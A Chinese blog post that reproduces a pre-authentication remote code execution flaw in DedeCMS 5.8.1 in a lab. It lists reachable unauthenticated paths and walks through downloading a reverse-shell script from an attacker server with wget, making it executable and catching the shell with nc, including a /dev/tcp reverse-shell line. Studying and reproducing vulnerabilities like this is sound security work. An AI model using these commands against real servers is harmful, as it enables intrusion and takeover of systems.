下载地址:https://github.com/dedecms/DedeCMS/releases

POC地址:https://github.com/HetuLib/dedecms_5.8.1_RCE

首先定位到include/common.func.php的ShowMsg方法

当gourl为-1时,检查HTTP_REFERER是非为null,如果设置了referer则是为设置的值,否则为null。

返回前一页

定义渲染模版

查看LoadString和Display方法

再查看下WriteCache方法

Getresult方法返回的结果给到result,再到CheckDisabledFunctions()中检查

查看Getresult和CheckDisabledFunctions方法

<?php

if(!isset($GLOBALS[\'_vars\'])) $GLOBALS[\'_vars\'] = array(); 

$fields = array()

?>

搜索ShowMsg((.*)-1)找到无需身份认证的路径;

以下(非详尽的)列表路径可以到达该漏洞:

/plus/flink.php?dopost=save

/plus/users_products.php?oid=1337

/plus/download.php?aid=1337

/plus/showphoto.php?aid=1337

/plus/users-do.php?fmdo=sendMail

/plus/posttocar.php?id=1337

/plus/vote.php?dopost=view

/plus/carbuyaction.php?do=clickout

/plus/recommend.php

这里代码执行了,想要拿下服务器还不行,system执行的命令有限,

所以这里采用让目标机器去下载(wget)我们存在恶意服务器上的反弹shell脚本,然后给脚本赋权(chmod),再让目标机器在本地去执行shell,最后我们反弹连接shell。

本次复现:

目标机器:mint Linux(192.168.153.13)

恶意服务器:kali (192.168.153.10)

首先在mint Linux 机器上搭建好dedecms_5.8.1

访问主页是这样的

在kali机器上写好恶意shell(test.sh)

#/bin/bash

/bin/bash -c 'sh -i &>/dev/tcp/192.168.153.6/12345 0>&1'

在同级目录下用python起个http服务

sudo python3 -m http.server 80

原始的/plus里并没有我们的shell文件

开始让目标机器去下载我们的shell

wget -O test.sh http://192.168.153.6/test.sh

可以看到我们的恶意shell已经被目标服务器下载下来了,但是没有执行权限,

这里我们再给它赋权限

chmod -R 777 test.sh

最后kali起nc监听:

nc -lvvp 12345

执行反弹shell

./test.sh

参考链接:

https://mp.weixin.qq.com/s/KL6eOwh8hpcQMWh8JjxF3g

PeiQi文库,公众号:PeiQi文库

某CMS common.func.php 远程命令执行

Chasing a Dream :: Pre-authenticated Remote Code Execution in Dedecms

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

热门产品

触发修改文章时间【fastadmincms开发记录】|fastadmincms二次开发,触发,修改,文章,时间,fastadmin,ms,开发,记录
触发修改文章时间【fastadmincms开发记录】
在tp5中过滤输入的零宽度字符【fastadmincms开发记录】|fastadmincms二次开发,在tp5中,过滤,输入,的零,宽度,字符,fastadmin,ms,开发,记录
在tp5中过滤输入的零宽度字符【fastadmincms开发记录】
处理tag标签中的0宽空格【fastadmincms开发记录】|fastadmincms二次开发,处理,tag,标签,中的,0宽,空格,fastadmin,ms,开发,记录
处理tag标签中的0宽空格【fastadmincms开发记录】
添加专题时tags标签id出错【fastadmincms开发记录】|fastadmincms二次开发,添加,专题,时tags,标签,id,出错,fastadmin,ms,开发,记录
添加专题时tags标签id出错【fastadmincms开发记录】
20230518----模板 广告【fastadmincms开发记录】|fastadmincms二次开发,20230518,模板,广告,fastadmin,ms,开发,记录
20230518----模板 广告【fastadmincms开发记录】
cms添加视频模型【fastadmincms开发记录】|fastadmincms二次开发,ms,添加,视频,模型,fastadmin,开发,记录
cms添加视频模型【fastadmincms开发记录】
新增单篇收费复制功能【fastadmincms开发记录】|fastadmincms二次开发,新增,单篇,收费,复制,功能,fastadmin,ms,开发,记录
新增单篇收费复制功能【fastadmincms开发记录】
添加开会员折扣功能【fastadmincms开发记录】|fastadmincms二次开发,添加,开会,折扣,功能,fastadmin,ms,开发,记录
添加开会员折扣功能【fastadmincms开发记录】

历史上的今天:04月20日

Oracle VM virtualbox安装Linux,并访问外网,和宿主机互通

Oracle VM virtualbox安装Linux,并访问外网,和宿主机互通Oracle VM virtualbox(简称vbox)是一款开源的虚拟机软件,免费使用。说实话,没有vmware易上手,特别是网络配置对于新手比较劝退。但优点是占用资源少,不用破解。我电脑用vmware打开一个Linux虚拟机很卡顿,用vbox打开两个Linux虚拟机却很流畅。如果你电脑配置不高,vmware开多个虚

oracle VM virtual Box 安装虚拟机并网络连接宿主机且能ping通外网

oracle VM virtual Box 安装虚拟机并网络连接宿主机且能ping通外网新建虚拟机虚拟机配置两条网络连接finallShell新建虚拟机首先准备Oracle VM virtualBox软件+CentOS-7-x86_64-Minimal-2009.iso镜像。参考镜像下载连接:支持centos7.8及其以上版本:http://mirrors.aliyun.com/centos/7/

热门专题

卓越综合高中|卓越综合高中
卓越综合高中
昆明网站建设|昆明网站建设,昆明网站开发,昆明网站建设公司,昆明网站建设价格,昆明网站设计,昆明网站制作,网页设计,高端网站建设,高端网站设计
昆明网站建设
自考本科|自考本科有用吗,自考文凭,自考本科文凭,自考文凭有用吗,自考本科文凭有用吗,自考文凭承认吗
自考本科
国家开放大学|国家开放大学报名,国家开放大学报考,国家开放大学,什么是国家开放大学,国家开放大学学历,国家开放大学学费,国家开放大学报名条件,国家开放大学报名时间,国家开放大学学历,国家开放大学专业
国家开放大学
安徽中源管业有限公司|安徽中源管业有限公司,安徽中源管业有限公司介绍,安徽中源管业有限公司电话,安徽中源管业有限公司地址,安徽中源管业有限公司厂家,安徽中源管业有限公司电力管,安徽中源管业有限公司管材
安徽中源管业有限公司
金诺幼儿园(春城路金诺幼儿园)|昆明官渡区幼儿园,幼儿园报名,官渡区幼儿园,春城路幼儿园,幼儿园招生,学前班,昆明幼儿园,金诺幼儿园,环城南路幼儿园,石井路幼儿园
金诺幼儿园(春城路金诺幼儿园)
小程序开发|微信小程序,小程序开发,小程序,小程序制作,微信小程序开发,小程序公司,小程序开发公司,分销,三级分销系统,分销系统
小程序开发
一年制中专|中专学历,中专是什么学历,中专是什么,中专有什么专业,中专升大专,一年制中专
一年制中专

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部